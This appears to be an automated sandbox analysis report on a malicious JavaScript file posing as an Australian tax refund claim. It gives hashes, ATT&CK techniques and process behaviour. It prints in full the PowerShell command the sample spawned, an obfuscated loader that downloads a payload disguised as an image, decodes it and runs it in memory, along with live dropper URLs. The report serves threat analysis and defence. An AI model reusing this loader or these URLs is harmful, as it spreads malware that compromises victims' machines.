496328b2630e631422e0e62da0ca876b54801a963c8e71ad79c0c4e20165999c

General

Target

Tax_Refund_Claim_2024_Australian_Taxation_Office.js
Size

163KB
MD5

a99ac2b0c9df4fc8b76f1c96bfce311c
SHA1

3cbdd7d89a4d57005496a40cf1bf9a43e41f2635
SHA256

496328b2630e631422e0e62da0ca876b54801a963c8e71ad79c0c4e20165999c
SHA512

8d64a90a5ad998f1ccc7f490f4c494f96c2291fb53254cf1394e9ab7cee62cbe281b9d2d3ab4f7a945d2804744f21d83d4c5f3361dbc3f49958666f128dd0a10
SSDEEP

1536:4zWfDq6wXS9V329iMiHQWpxE7EqU+GOK44nFlWETMJWlR4gqzDe/zQ6V2YrzJ50l:4zWf+6wC9I3iJAZafzQ6VdzjiI2fx

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg%20

exe.dropper

https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg%20

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	344	wscript.exe
7	344	wscript.exe
9	2448	powershell.exe
11	2448	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2448	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2448	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2448	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 344 wrote to memory of 2448	344	wscript.exe	31
PID 344 wrote to memory of 2448	344	wscript.exe	31
PID 344 wrote to memory of 2448	344	wscript.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Tax_Refund_Claim_2024_Australian_Taxation_Office.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '0/LucV5/d/ee.e#sap//:sp##h';$restoredText = $originalText -replace '#', 't';$iLnBGeoOpffqoUAKmlhR = 'https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg ';$WhccGUizbJWaNhoCLZCL = New-Object System.Net.WebClient;$NGKHbmbLgczBefhfOAGi = $WhccGUizbJWaNhoCLZCL.DownloadData($iLnBGeoOpffqoUAKmlhR);$KodpfKtodcZPWkkULGWU = [System.Text.Encoding]::UTF8.GetString($NGKHbmbLgczBefhfOAGi);$kQbJzINbGPimbikLeLWW = '<<BASE64_START>>';$KNIAGgPKpufLIacbNxjH = '<<BASE64_END>>';$txWWUeAUmepGGoaWUeCB = $KodpfKtodcZPWkkULGWU.IndexOf($kQbJzINbGPimbikLeLWW);$TPWfGTAfLfnGqWLfpiIW = $KodpfKtodcZPWkkULGWU.IndexOf($KNIAGgPKpufLIacbNxjH);$txWWUeAUmepGGoaWUeCB -ge 0 -and $TPWfGTAfLfnGqWLfpiIW -gt $txWWUeAUmepGGoaWUeCB;$txWWUeAUmepGGoaWUeCB += $kQbJzINbGPimbikLeLWW.Length;$UoiilKJdRANLoPpnucKc = $TPWfGTAfLfnGqWLfpiIW - $txWWUeAUmepGGoaWUeCB;$HhBCjWCWcOAOGasdihln = $KodpfKtodcZPWkkULGWU.Substring($txWWUeAUmepGGoaWUeCB, $UoiilKJdRANLoPpnucKc);$OOiPlmOGWcLpOBNCiWdR = -join ($HhBCjWCWcOAOGasdihln.ToCharArray() | ForEach-Object { $_ })[-1..-($HhBCjWCWcOAOGasdihln.Length)];$NmLoUkntiBnWiQrtLteW = [System.Convert]::FromBase64String($OOiPlmOGWcLpOBNCiWdR);$QpquWoUGdWWllhPbBgox = [System.Reflection.Assembly]::Load($NmLoUkntiBnWiQrtLteW);$qUzNNPuWfsNLioKiONSx = [dnlib.IO.Home].GetMethod('VAI');$qUzNNPuWfsNLioKiONSx.Invoke($null, @($restoredText, '1', 'hpiCiWTCNopizuWaGzCt', 'hpiCiWTCNopizuWaGzCt', 'MSBuild', 'hpiCiWTCNopizuWaGzCt','hpiCiWTCNopizuWaGzCt','1','https://102.175.153.160.host.secureserver.net/file.js', 'C:\\ProgramData','smudgy','js','5','hpiCiWTCNopizuWaGzCt','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab9F5B.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarA029.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2448-23-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-19-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2448-18-0x000007FEF540E000-0x000007FEF540F000-memory.dmp

Filesize
4KB

Download
memory/2448-22-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-21-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2448-25-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-20-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-24-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-61-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-60-0x000007FEF540E000-0x000007FEF540F000-memory.dmp

Filesize
4KB

Download
memory/2448-63-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-62-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-64-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-65-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-67-0x000000001AF80000-0x000000001B104000-memory.dmp

Filesize
1.5MB

Download
memory/2448-68-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download

Analysis

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